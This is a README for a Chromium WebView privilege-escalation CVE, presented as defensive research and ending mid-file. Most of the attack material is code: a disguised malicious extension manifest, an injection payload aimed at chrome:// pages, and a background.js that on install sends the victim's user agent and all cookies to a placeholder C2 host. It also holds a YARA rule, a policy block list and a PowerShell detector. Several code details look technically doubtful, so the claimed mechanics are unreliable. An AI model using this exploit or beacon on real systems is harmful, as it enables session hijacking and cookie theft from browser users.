Dissecting-CVE-2026-0628-Chromium-Extension-Privilege-Escalation

= doi.org/10.5281/zenodo.18413764

= orcid.org/0009-0007-7728-256X

README.md


# **CVE-2026-0628: Chromium WebView Privilege Escalation (Origin Spoofing) – Technical Research & Proof-of-Concept**

**Author:** Sastra Adi Wiguna (Purple Elite Teaming)
**Research Date:** January 2026
**CVE ID:** CVE-2026-0628
**CVSS v3.1:** 8.8 (High)
**Affected Versions:** Chromium < 143.0.7499.192
**Patch Status:** Patched in Chrome ≥143.0.7499.192, Edge ≥143.0.3650.139

---

## **1. Overview**

### **1.1 Research Purpose**
This repository documents **CVE-2026-0628**, a **high-severity privilege escalation vulnerability** in Chromium's WebView policy enforcement mechanism. The vulnerability allows malicious extensions to **bypass sandbox restrictions**, inject scripts into **privileged contexts** (e.g., `chrome://`), and **escalate privileges** to execute arbitrary code.

This research is **exclusively for defensive security purposes**, including:
- **Vulnerability analysis**
- **Detection engineering**
- **Mitigation strategy development**
- **Penetration testing (authorized environments only)**

### **1.2 Disclaimer**
- **Strictly for academic and defensive research.**
- **Do not use against production systems without authorization.**
- **Comply with all applicable laws and organizational security policies.**
- **Patch immediately:** Chrome ≥143.0.7499.192, Edge ≥143.0.3650.139.

---

## **2. Technical Breakdown**

### **2.1 Root Cause**
**Insufficient policy enforcement** in Chromium's WebView implementation allows extensions to **escape sandbox boundaries** and access **privileged DOM contexts**.

**Vulnerable Flow:**
1. Malicious extension declares WebView usage in `manifest.json`.
2. Extension injects crafted HTML/JS payload via `<webview>` tag.
3. **WebView policy validation bypass** → Access to privileged pages (e.g., `chrome://settings`).
4. **Arbitrary script execution** in privileged contexts.

**CVSS Vector:**
`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`

### **2.2 Exploit Architecture**
#### **Malicious Extension Template**
```json
{
  "manifest_version": 3,
  "name": "Legitimate Extension",
  "version": "1.0",
  "webview": {
    "src": "chrome://new-tab-page/",
    "plugins": {}
  },
  "content_scripts": [{
    "matches": ["<all_urls>"],
    "js": ["payload.js"]
  }]
}

Critical Injection Vector (payload.js)

class WebViewExploiter {
  constructor() {
    this.privilegedTargets = [
      'chrome://new-tab-page/',
      'chrome-extension://background/',
      'chrome://settings/'
    ];
  }
  injectPayload(targetURL) {
    const webview = document.createElement('webview');
    webview.setAttribute('src', targetURL);
    webview.setAttribute('nodeintegration', ''); // Key bypass parameter
    webview.addEventListener('dom-ready', () => {
      webview.executeScript({
        code: `
          window.chrome = window.chrome || {};
          chrome.runtime.sendMessage({action: 'steal_data'});
          document.body.innerHTML = '';
        `
      });
    });
    document.body.appendChild(webview);
  }
}

---

3. Impact Assessment

Attack Phase	Technical Impact	Business Impact	CVSS Metrics
Extension Install	User consent → Persistence	Social engineering vector	UI:R (Required)
WebView Bypass	Sandbox escape → Privileged context	Session hijacking	S:U → C:H/I:H/A:H
Script Injection	DOM manipulation → Data exfiltration	Credential theft	PR:N (No Privs)
Persistence	Background script → C2 beaconing	Lateral movement prep	AC:L (Low Complexity)

---

4. Detection & Forensics

4.1 YARA Rule for Malicious Extensions

rule CVE_2026_0628_WebView_Exploiter {
  meta:
    description = "Detects CVE-2026-0628 WebView exploit patterns"
    severity = "high"
  strings:
    $webview_abuse = "webview.*(nodeintegration|allowpopups)"
    $chrome_priv = /(chrome:\/\/|chrome-extension:\/\/)/
    $inject_sig = /(executeScript|getURL|sendMessage)/
  condition:
    all of ($*) and filesize < 500KB
}

4.2 Sysmon Event Signatures

• Event ID 1: chrome.exe → Suspicious WebView creation.
• Event ID 3: Network connection → Extension → External C2.
• Registry: HKCU\Software\Google\Chrome\Extensions\[malicious_id].

---

5. Patch Analysis & Bypass Vectors

5.1 Fixed Version Diff (Chrome 143.0.7499.192+)

// Vulnerable (pre-143.0.7499.192)
if (webview.src.startsWith('chrome://')) {
  return false; // Weak policy check
}

// Patched
function validateWebViewPolicy(webview) {
  if (!isExtensionTrusted(webview.extensionId)) {
    throw new SecurityError('Extension not privileged');
  }
  if (webview.attributes.includes('nodeintegration')) {
    enforceStrictCSP(); // Content-Security-Policy hardening
  }
}

5.2 Mitigation Implementation

Enterprise GPO Template

{
  "ExtensionInstallBlacklist": ["malicious_extension_id*"],
  "ExtensionInstallForcelist": [],
  "WebViewRestrictions": {
    "DisableWebView": true,
    "BlockNodeIntegration": true
  }
}

Runtime Detection Script (PowerShell)

# Detect-CVE20260628.ps1
Get-Process chrome | ForEach {
  $extPath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions"
  Get-ChildItem $extPath | Where {
    (Get-Content "$_\manifest.json" | Select-String "webview") -and
    (Get-Content "$_\manifest.json" | Select-String "chrome://")
  }
}

---

6. Proof-of-Concept (PoC) Exploit

6.1 Directory Structure

cve-2026-0628-poc/
├── manifest.json
├── background.js
├── content.js
└── popup.html

6.2 Core Files

manifest.json (Bypass Manifest)

{
  "manifest_version": 3,
  "name": "WebView Helper Tool",
  "version": "1.0",
  "permissions": ["activeTab", "storage", "tabs"],
  "host_permissions": ["<all_urls>", "chrome://*/*"],
  "background": {
    "service_worker": "background.js"
  },
  "content_scripts": [{
    "matches": ["<all_urls>"],
    "js": ["content.js"],
    "run_at": "document_start"
  }],
  "action": {
    "default_popup": "popup.html"
  },
  "web_accessible_resources": [{
    "resources": ["inject.js"],
    "matches": ["<all_urls>"]
  }]
}

background.js (Persistence & C2 Beacon)

chrome.runtime.onInstalled.addListener(() => {
  console.log('CVE-2026-0628 PoC Installed');
  setTimeout(initExploitation, 5000);
});

async function initExploitation() {
  fetch('http://your-c2-server.com/beacon?ext_id=' + chrome.runtime.id, {
    method: 'POST',
    body: JSON.stringify({
      victim: navigator.userAgent,
      cookies: await getAllCookies()
    })
  }).catch(() => {});
  chrome.tabs.onUpdated.addListener(exploitTab);
}

content.js (WebView Trigger & Injection)

(function() {
  const privilegedTargets = [
    'chrome://new-tab-page/',
    'chrome://settings/',
    'chrome://extensions/'
  ];
  function createMaliciousWebView(target) {